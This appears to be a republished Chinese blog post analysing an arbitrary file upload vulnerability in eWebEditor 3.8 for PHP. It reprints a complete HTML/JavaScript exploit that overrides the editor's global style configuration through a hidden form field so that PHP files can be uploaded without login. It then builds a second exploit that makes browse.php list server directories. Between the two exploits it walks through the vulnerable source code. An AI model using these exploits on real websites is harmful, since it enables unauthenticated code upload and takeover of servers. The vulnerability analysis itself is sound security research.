当前位置: 代码迷 >> Web前端 >> ewebeditor 3.8 任意文件下传漏洞解析
  详细解决方案

ewebeditor 3.8 任意文件下传漏洞解析

热度:615   发布时间:2012-08-30 09:55:54.0
ewebeditor 3.8 任意文件上传漏洞解析

?? 首先这个是别人早都发出来的一个漏洞,exp也写好了,如下

<title>eWebeditoR3.8 for php任意文件上EXP</title>
<form action="" method=post enctype="multipart/form-data"> 
<INPUT TYPE="hidden" name="MAX_FILE_SIZE" value="512000"> 
URL:<input type=text name=url value="http://localhost:81/" size=100><br> 
<INPUT TYPE="hidden" name="aStyle[12]" value="toby57|||gray|||red|||../uploadfile1/|||550|||350|||php|||swf|||gif|jpg|jpeg|bmp|||rm|mp3|wav|mid|midi|ra|avi|mpg|mpeg|asf|asx|wma|mov|||gif|jpg|jpeg|bmp|||500|||100|||100|||100|||100|||1|||1|||EDIT|||1|||0|||0|||||||||1|||0|||Office|||1|||zh-cn|||0|||500|||300|||0|||...|||FF0000|||12|||宋体||||||0|||jpg|jpeg|||300|||FFFFFF|||1"> 
file:<input type=file name="uploadfile"><br> 
<input type=button value=submit onclick=fsubmit()> 
</form><br> 
<script> 
function fsubmit(){ 
form = document.forms[0]; 
form.action = form.url.value+'php/upload.php?action=save&type=FILE&style=toby57&language=en'; 
alert(form.action); 
form.submit(); 
} 
</script>

?

?

这是一个任意文件上传漏洞,目标版本是eWebEditor 3.8 for php ,不过估计asp应该也有类似的问题,具体的解析思路是:

???? 首先一个网页编辑器,无论是fck,ewebeditor 或者kindeditor之类的,都爆出过上传漏洞,那么找文件上传漏洞的思路应该是先下载对应版本的编辑器,自己把环境搭起来,然后开始找文件上传点,3.8据说还有个cookie的验证不严格的漏洞,不过我看了下没发现,估计我看的是修正过的版本,

??? 文文件上传很直接的我们就定位到了admin/upload.php,不过很可惜在文件头就发现了


require("private.php");这个,这意味着这个upload.php我们几乎无法使用的。

但是继续往下看,我们翻到别的目录发现了php这个目录,而这个目录中,共有3各有意义的文件,个个都非常重要

?

1. config.php一个类似数据库存储的文件,中间保存了用户名密码,以及一些样式

2.browse.php 是一个用来查看文件夹路径的php,最重要的是他们有检查用户登录与否

3.upload.php 这就是一个上传的页面,同样也没有检查用户

?

我们首先关注upload.php这个文件,这也是这个exp的处理的地方

<?php

require("config.php");

InitUpload();

if (isset($_GET["action"])){
	$sAction = strtoupper($_GET["action"]);
}else{
	$sAction = "";
}


switch ($sAction){
case "REMOTE":
	DoCreateNewDir();
	DoRemote();
	break;
case "SAVE":
	ShowForm();
	DoCreateNewDir();
	DoSave();
	break;
default:
	ShowForm();
	break;
}

?

明显在这个文件一开始就有一个InitUpload(); 的存在

?

function  InitUpload(){
	global $sType, $sStyleName, $sLanguage;
	global $sAllowExt, $nAllowSize, $sUploadDir, $nUploadObject, $nAutoDir, $sBaseUrl, $sContentPath;
	global $sFileExt, $sOriginalFileName, $sSaveFileName, $sPathFileName, $nFileNum;
	global $nSLTFlag, $nSLTMinSize, $nSLTOkSize, $nSYFlag, $sSYText, $sSYFontColor, $nSYFontSize, $sSYFontName, $sSYPicPath, $nSLTSYObject, $sSLTSYExt, $nSYMinSize, $sSYShadowColor, $nSYShadowOffset;

	$sType = toTrim("type");
	$sStyleName = toTrim("style");
	$sLanguage = toTrim("language");

	$bValidStyle = false;
	$numElements = count($GLOBALS["aStyle"]);
	for($i=1; $i<=$numElements; $i++){
		$aStyleConfig = explode("|||", $GLOBALS["aStyle"][$i]);
		if (strtolower($sStyleName)==strtolower($aStyleConfig[0])){
			$bValidStyle = true;
			break;
		}
	}

	if ($bValidStyle == false) {
		OutScript("parent.UploadError('lang[\"ErrInvalidStyle\"]')");
	}

	$sBaseUrl = $aStyleConfig[19];
	$nUploadObject = (int)$aStyleConfig[20];
	$nAutoDir = (int)$aStyleConfig[21];

	$sUploadDir = $aStyleConfig[3];
	if (substr($sUploadDir, 0, 1) != "/"){
		$sUploadDir = "../".$sUploadDir;
	}

	switch ($sBaseUrl){
	case "0":
		$sContentPath = $aStyleConfig[23];
		break;
	case "1":
		$sContentPath = RelativePath2RootPath($sUploadDir);
		break;
	case "2":
		$sContentPath = RootPath2DomainPath(RelativePath2RootPath($sUploadDir));
		break;
	}

	switch (strtoupper($sType)){
	case "REMOTE":
		$sAllowExt = $aStyleConfig[10];
		$nAllowSize = (int)$aStyleConfig[15];
		break;
	case "FILE":
		$sAllowExt = $aStyleConfig[6];
		$nAllowSize = (int)$aStyleConfig[11];
		break;
	case "MEDIA":
		$sAllowExt = $aStyleConfig[9];
		$nAllowSize = (int)$aStyleConfig[14];
		break;
	case "FLASH":
		$sAllowExt = $aStyleConfig[7];
		$nAllowSize = (int)$aStyleConfig[12];
		break;
	default:
		$sAllowExt = $aStyleConfig[8];
		$nAllowSize = (int)$aStyleConfig[13];
		break;
	}

	$sAllowExt = strtoupper($sAllowExt);

	$nSLTFlag = (int)$aStyleConfig[29];
	$nSLTMinSize = (int)$aStyleConfig[30];
	$nSLTOkSize = (int)$aStyleConfig[31];
	$nSYFlag = (int)$aStyleConfig[32];
	$sSYText = $aStyleConfig[33];
	$sSYFontColor = $aStyleConfig[34];
	$nSYFontSize = (int)$aStyleConfig[35];
	$sSYFontName = $aStyleConfig[36];
	$sSYPicPath = $aStyleConfig[37];
	$nSLTSYObject = (int)$aStyleConfig[38];
	$sSLTSYExt = $aStyleConfig[39];
	$nSYMinSize = (int)$aStyleConfig[40];
	$sSYShadowColor = $aStyleConfig[41];
	$nSYShadowOffset = (int)$aStyleConfig[42];

}

?这个方法由于采用了全局变量设置,可以被用户提交的变量所覆盖,他的原意是通过config.php得到这些初始参数的,这就是漏洞所在,而我们通过观察config.php可得知原始样式表共有11个,所以就理解了exp中的样式表为aStyle[12]的原因了,

?

然后通过自己修改了下已有的astyle,其中添加允许上传为php,基本上漏洞就算利用好了

?

同样的理论,我们去观察这个目录下剩余的

browse.php

?

而且此时我们发现别人写的exp存在着一个很奇怪的问题,在config.php中,我们可以看到

写道
$aStyle[11] = "popup|||blue|||coolblue|||../uploadfile/|||550|||350|||rar|zip|exe|doc|xls|chm|hlp|||swf|||gif|jpg|jpeg|bmp|||rm|mp3|wav|mid|midi|ra|avi|mpg|mpeg|asf|asx|wma|mov|||gif|jpg|jpeg|bmp|||500|||100|||100|||100|||100|||1|||1|||EDIT|||1|||0|||2|||||||||1|||0|||酷蓝样式,主要用于标准弹窗,增加弹窗返回按钮。|||1|||zh-cn|||0|||500|||300|||0|||版权所有...|||FF0000|||12|||宋体||||||0|||jpg|jpeg|||300|||FFFFFF|||1|||1";

?

一项一共有43项,而别人提供的exp只有42项,而其中着关键最后一项在browse.php中有着大作用,我觉得这个exp可能是故意漏掉了这个关键的一个,

$sAllowBrowse = $aStyleConfig[43];

?

?

分析ewebeditor browse.php可以采用和upload.php相同的手法覆盖掉config.php,然后在browse。php中我们可以看到

$sUploadDir = $aStyleConfig[3];

?

所以我们构造的时候可以选择sUploadDir=空,dir=空

?

	$sDir = toTrim("dir");
	if ($sDir != "") {
		if (is_dir($sUploadDir.$sDir)) {
			$sCurrDir = $sUploadDir.$sDir."/";
		}else{
			$sDir = "";
		}
	}

?

但是由于

	switch (strtoupper($sType)){
	case "FILE":
		$sAllowExt = "";
		break;
	case "MEDIA":
		$sAllowExt = "rm|mp3|wav|mid|midi|ra|avi|mpg|mpeg|asf|asx|wma|mov";
		break;
	case "FLASH":
		$sAllowExt = "swf";
		break;
	default:
		$sAllowExt = "bmp|jpg|jpeg|png|gif";
		break;
	}

?

这个的存在,使得最终列文件效果无法列出php和asp等,不过爆目录效果还是可以的

最终生成的browse.html

<title>eWebeditoR3.8 for php查看文件目录</title>
<form action="" method=post enctype="multipart/form-data"> 
URL:<input type=text name=url value="http://localhost:81/" size=100><br> 
DIR:<input type=text name=dir value="" size=100><br> 
<INPUT TYPE="hidden" name="aStyle[12]" value="ice|||gray|||red||||||550|||350|||php|||swf|||gif|jpg|jpeg|bmp|||rm|mp3|wav|mid|midi|ra|avi|mpg|mpeg|asf|asx|wma|mov|||gif|jpg|jpeg|bmp|php|||500|||100|||100|||100|||100|||1|||1|||EDIT|||1|||0|||0|||||||||1|||0|||Office|||1|||zh-cn|||0|||500|||300|||0|||...|||FF0000|||12|||宋体||||||0|||jpg|jpeg|||300|||FFFFFF|||1|||1"> 
<input type=button value=submit onclick=fsubmit()> 
</form><br> 
<script> 
function fsubmit(){ 
form = document.forms[0]; 
form.action = form.url.value+'php/browse.php?style=ice&dir='+form.dir.value; 
alert(form.action); 
form.submit(); 
} 
</script>

?

使用后,会弹出新的页面,查看页面源代码就可以得到目录列表和少量图片文件了